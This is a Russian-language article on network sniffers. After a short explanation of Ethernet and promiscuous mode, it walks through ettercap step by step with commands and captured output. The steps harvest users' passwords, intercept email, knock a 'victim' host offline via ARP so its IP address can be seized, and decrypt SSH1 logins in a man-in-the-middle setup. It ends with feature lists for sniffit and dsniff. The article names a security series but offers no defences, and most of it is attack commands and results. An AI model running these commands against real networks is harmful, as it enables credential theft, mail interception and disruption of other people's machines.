Сетевые нюхачи
Перехватчики сетевых пакетов могут не только использоваться
администратором сети для проверки и детального анализа правильности
конфигурации сетевого программного обеспечения, но и представляют собой
серьезную угрозу, поскольку могут перехватывать и расшифровывать имена
и пароли пользователей, конфиденциальную информацию, нарушать работу
отдельных компьютеров и сети в целом. Как бороться с этим недугом
программистской мысли мы попробуем разобраться в следующих статьях из
цикла "Linux обеспечивает безопасность сети".
В настоящее время аппаратная архитектура Ethernet завоевала большую
часть рынка при создании локальных сетей, хотя существуют и другие
аппаратные решения не на IEEE 802.3, такие как FDDI, Token Ring (802.5),
ARCNET, WAN, ATM и другие. Относительная недороговизна в сочетании с
технической скоростью передачи данных в 10, 100 и 1000 мегабит в секунду
способствует ее популярности. Сеть Ethernet работает как магистраль, через
которую любой узел может пересылать пакеты на другой узел,
подключенный к тому же сегменту сети. Для перенаправления пакетов из
одной сети в другую необходимо пользоваться репитером, свитчем или
хабом. Процесс передачи фреймов обеспечивает межсетевой протокол,
который не зависит от оборудования и представляет различные сети в одну
сеть. Но при использовании этого протокола нет гарантий, что пакет
достигнет адресата, но решение этой задачи обеспечивает протокол TCP/IP,
занимающийся гарантированной доставкой пакетов. TCP не единственный
протокол в стеке протоколов TCP/IP, существует еще протокол UDP,
который много быстрее протокола TCP, так как не создает и не закрывает
сеанс соединения, а узел с помощью его просто отправляет данные в
дейтаграммах другим узлам в сети. Пакет, отправленный в
широковещательной сети одним из узлов, принимается всеми находящимися
в этом сегменте сети машинами, но только узел назначения, указанный в
заголовке пакета, "смотрит" на него и начинает его обработку (относится и к
TCP и к UDP протоколам).
Анализаторы пакетов относятся к классу инструментальных программных
средств для мониторинга сетевого траффика и выявления некоторых типов
сетевых проблем. По умолчанию сетевой интерфейс видит пакеты,
предназначенные только для него. Однако анализаторы устанавливают его в
режим приема всех пакетов - promiscuous mode, прослушивают сеть и
заставляют сетевой интерфейс принимать все фреймы, вне зависимости от
того, кому они адресованы в сети.
Для установки "вручную" сетевого интерфейса в неразборчивый режим
необходимо включить флаг PROMISC: ifconfig eth0 promisc; для отключения
promiscuous mode: ifconfig eth0 -promisc .
Ярким примером инструментального программного средства служит
программа tcpdump, написанная Вэном Якобсоном и
поставляющаяся сейчас со многими дистрибутивами. Пример использования
tcpdump:
tcpdump -i eth0 -n -vv -w /root/tcpdump.log
где:
-I - сетевой интерфейс;
-n - делаем числовой вывод адресов и номеров портов;
-vv - очень подробный вывод;
-w - запись лога в файл.
Чтобы прочитать перехваченный траффик из лога (выводим не на консоль, а
в файл):
tcpdump -r /root/tcpdump.log > /root/tcpdump0.log
Фрагмент работы tcpdump:
14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167: udp 21
14:07:24.126187 > midian > 192.168.5.23: icmp: echo request
14:07:24.126667 < 192.168.5.23 > midian: icmp: echo reply
Первая строка показывает, что 192.168.5.17 пользуется программой для
общения в локальной сети (делает широковещательный запрос, используется
порт 8167), вторая и третья указывают, что хост midian проверяет машину с
IP-адресом 192.168.5.23 программой ping.
Вынюхиватели пакетов несомненно полезны для решения администратором
сети известных и неизвестных проблем, но существует и обратная сторона
медали: неразборчивый режим приема пакетов позволяет злоумышленнику
получать весь траффик в сети и фильтровать его на наличие имен, паролей
пользователей, незашифрованных писем и т.д. Теперь все только
ограничивается фантазией хакера.
Ettercap
Особенности этого сниффера:
- работает на Linux 2.0.x, Linux 2.2.x, Linux
2.4.x, FreeBSD 4.x, OpenBSD 2.[789], NetBSD 1.5.x, Mac OS (darwin 1.3);
-
перехват и расшифровка паролей TELNET, SSH1, FTP, POP, LOGIN, ICQ,
SMB, MySQL, HTTP, HTTPS, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS
5, IMAP 4, VNC;
- возможнось вставки символов в установленное соединение
- будет происходить эмуляция команд сервера и ответов клиента (работает
только в интерактивном режиме);
- нетребовательность к библиотекам libpcap,
libnet, libnids в отличии от других снифферов;
- поддержка плагинов;
возможность написания собственных плагинов;
- текстовый и
псевдографический (основанный на ncurses) интерфейсы;
- различные виды
прослушивания; возможность использования фильтров;
- работа в сети с активными интеллектуальными хабами.
Последнюю версию берем здесь:
Устанавливаем сниффер:
./configure
make
make install
Устанавливаем плагины:
make plug-ins
make plug-ins_install
Некоторые опции сниффера:
-a, -s, -m - различные виды прослушивания;
-N - запускать сниффер без псевдографики;
-z - запуск в спокойном режиме;
-d - не преобразовывать IP-адреса в имена;
-i - сетевой интерфейс;
-l - вывести список хостов в сети;
-C - собирать все имена и пароли пользователей;
-f - определение операционной системы удаленного хоста;
-p - работа с плагинами;
-L - записывать в лог, имеющий формат: год:месяц:день-collected-pass.log
Рассмотрим некоторые виды использования этого сниффера.
Перехватываем все имена пользователей и пароли в нашем сегменте сети и
записываем в лог:
ettercap -NdzsCLi eth0
После недолгого ожидания получаем необходимое ;)
14:43:45 192.168.5.29:1755 <--> 212.48.140.154:80 www
USER: leshii
PASS: softerra
http://www.nm.ru/gateway_chat.shtml
Определяем операционную систему хоста, например, с IP-адресом
192.168.5.24:
ettercap - Ndzsfi eth0 192.168.5.24
Смотрим установленные у нас плагины и описания к ним:
ettercap - N -p list
Для активации плагина (например, пропингуем какой-нибудь хост):
ettercap - N -p ooze 192.168.5.33
Самый интересным на мой взгляд плагином является leech. Он изолирует
удаленный хост от сети. Пример работы этого плагина:
Сначала проверим, "жив" ли хост:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
64 bytes from 192.168.5.23: icmp_seq=0 ttl=128 time=0.945 ms
64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562 ms
64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms
64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms
Запускаем плагин (операционная система хоста жертвы - win98se):
andrushock# ettercap -Ndp leech 192.168.5.23
Наблюдаем за процессом работы:
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting ./ec_leech.so plugin...
Building host list for netmask 255.255.255.0, please wait...
Sending 255 ARP request...
Listening for replies...
Isolating host 192.168.5.23...Press return to stop
Ждем пару минут и смело нажимаем ^C, затем проверяем работу плагина:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
---192.168.5.23 ping statistics---
4 packets transmitted, 0 packet received, 100% packet loss
andrushock#
Все, сетевой интерфейс на машине жертвы на некоторое время перестает
работать, хотя операционная система и запущенные приложения
функционируют в том же нормальном режиме. Но этого "некоторого"
времени хватает, например, для того, чтобы заполучить себе IP-адрес
жертвы:
ifconfig eth0 down
ifconfig eth0 inet 192.168.5.23
ifconfig eth0 up
И набираем команду, чтобы удостовериться о нашем "новом" IP-адресе:
ifconfig eth0
Перехват незашифрованных почтовых сообщений.
Вид записи:
./ettercap -Nzds <IP-адрес почтового сервера>:<port почтового сервера> <IP-
адрес клиента>
Пример перехвата исходящих писем:
./ettercap -Nzds ANY:25 ANY > /root/sniff.smtp
И смотрим через некоторое время, что попалось в наши сети (привожу часть
лога):
сat /root/sniff.smtp
Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:25
18:19:14 192.168.5.23:1030 --> 80.68.244.5:25
18:19:14 80.68.244.5:25 --> 192.168.5.23:1030
Далее идет процесс аутентификации, письмо от кого, адрес реципиента, их
валидность и сам текст письма.
To: andrushock@fromru.com.
Subject: test.
Mime-Version: 1.0.
Content-Type: text/plain; charset=us-ascii.
Content-Transfer-Encoding: 7bit.
.
Hello andrushock,.
.
Test for Softerra.
.
-- .
Best regards,.
Noname mailto: ******@pisem.net.
Далее сообщение демона о принятии письма к отправке и завершение
почтовым сервером соединения.
Для перехвата входящих в локальную сеть электронных писем используем:
./ettercap -Nzds ANY:110 ANY > /root/sniff.pop3
или
./ettercap -Nzds ANY:143 ANY > /root/sniff.imap4
Пример перехвата паролей во время сессии SSH:
На одной машине 192.168.5.21 стоит ettercap (назовем злоумышленник), на
втором 192.168.5.4 sshd (назовем сервер), а на третьем 192.168.5.22
SecureCRT (назовем клиент).
./ettercap -Ndl - выводим список всех айпишников с МАС-адресами машин в
сегменте локальной сети, запоминаем только МАС-адреса сервера и клиента.
Запускаем сниффер на прослушивание и ждем когда клиент инициализирует
сеанс Secure Shell с сервером и начнется процесс аутентификации. В этом
случае машина злоумышленника является "мостом", через который будет
проходить и расшифровываться на лету весь проходящий траффик между
клиентом и сервером.
Вид записи:
./ettercap -za <IP-адрес сервера> <IP-адрес клиента> <MAC-адрес сервера>
<MAC-адрес клиента>
./ettercap -za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47 00:A0:24:93:61:3D
Привожу "текстовый скриншот"
ettercap 0.5.4
SOURCE: 192.168.5.22 ? Filter: OFF
doppleganger - illithid (ARP Based) - ettercap
DEST: 192.168.5.4 ? Active Dissector: ON
??? hosts in this LAN (192.168.5.21 : 255.255.255.0)
1) 192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested
USER: testuser
PASS: softerra
В левом нижнем углу лицезреем уже расшифрованные имя пользователя и
его пароль.
Примечание: сетевой интерфейс действительно ed0, так как программа
тестировалась в операционных системах Linux и FreeBSD.
Постоянно выходят новые версии Ettercap, в которых исправляются ошибки
(например, только несколько версий назад исправили "глюк", когда после
работы сетевой интерфейс, на котором был запущен этот сниффер падал),
добавляются новые возможности и переносы на другие операционные
системы, в отличие от программ описанных ниже, работа над которыми уже
давно не ведется, хотя в настоящее время на мой взгляд эти анализаторы
протоколов являются самыми популярными.
sniffit
Возможности этого сниффера:
- работает на LINUX, SunOS/Solaris, Irix,
FreeBSD, BSDi, DEC/OSF, NetBSD;
- перехват паролей FTP, Telnet, SMTP,
HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP,
MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster,
PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer,
Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;
- использование
конфигурационных файлов для создания фильтров;
- имеет текстовый и
псевдографический (основанный на ncurses) интерфейсы.
Примечание: необходимо наличие libpcap
dsniff
Примечание: эту версию сниффера я не смог поставить на Red Hat Linux 7.0,
поэтому пришлось качать более новую, но beta, где как раз исправлена
ошибка компоновки для дистрибутивов Red Hat Linux 6,7.
Возможности этого сниффера:
работает на OpenBSD (i386), Redhat Linux
(i386), Solaris (sparc), FreeBSD, Debian Linux, Slackware Linux, AIX, HP-UX;
-
перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP,
SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS,
SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix
ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net,
Sybase, Microsoft SQL;
- также в этот пакет входит набор "утилит" для
перехвата сообщений AOL Instant Messenger, ICQ 2000, IRC, Yahoo
Messenger chat, прослушивания ssh траффика, флуда локальной сети
случайными MAC-адресами, ограничения пропускной способности
соединения, обрыва заданного TCP-соединения и др.;
- не имеет
псевдографического интерфейса.
Есть еще одна интересная особенность
этого сниффера. Наткнулся я на нее совершенно случайно...
cat dsniff.8 | grep 'Dug Song' > /root/dug.song && man sshd | grep 'Dug Song' >>
/root/dug.song && clear && cat /root/dug.song
И вот что получилось:
Dug Song <dugsong@monkey.org>
Niels Provos, Theo de Raadt, and Dug Song.
Выводы делаем сами...
Примечание: необходимо наличие
Berkeley DB - http://www.sleepycat.com/
OpenSSL - http://www.openssl.org/
libpcap - http://www.tcpdump.org/
libnids - http://www.packetfactory.net/Projects/Libnids/
libnet - http://www.packetfactory.net/Projects/Libnet/
|
|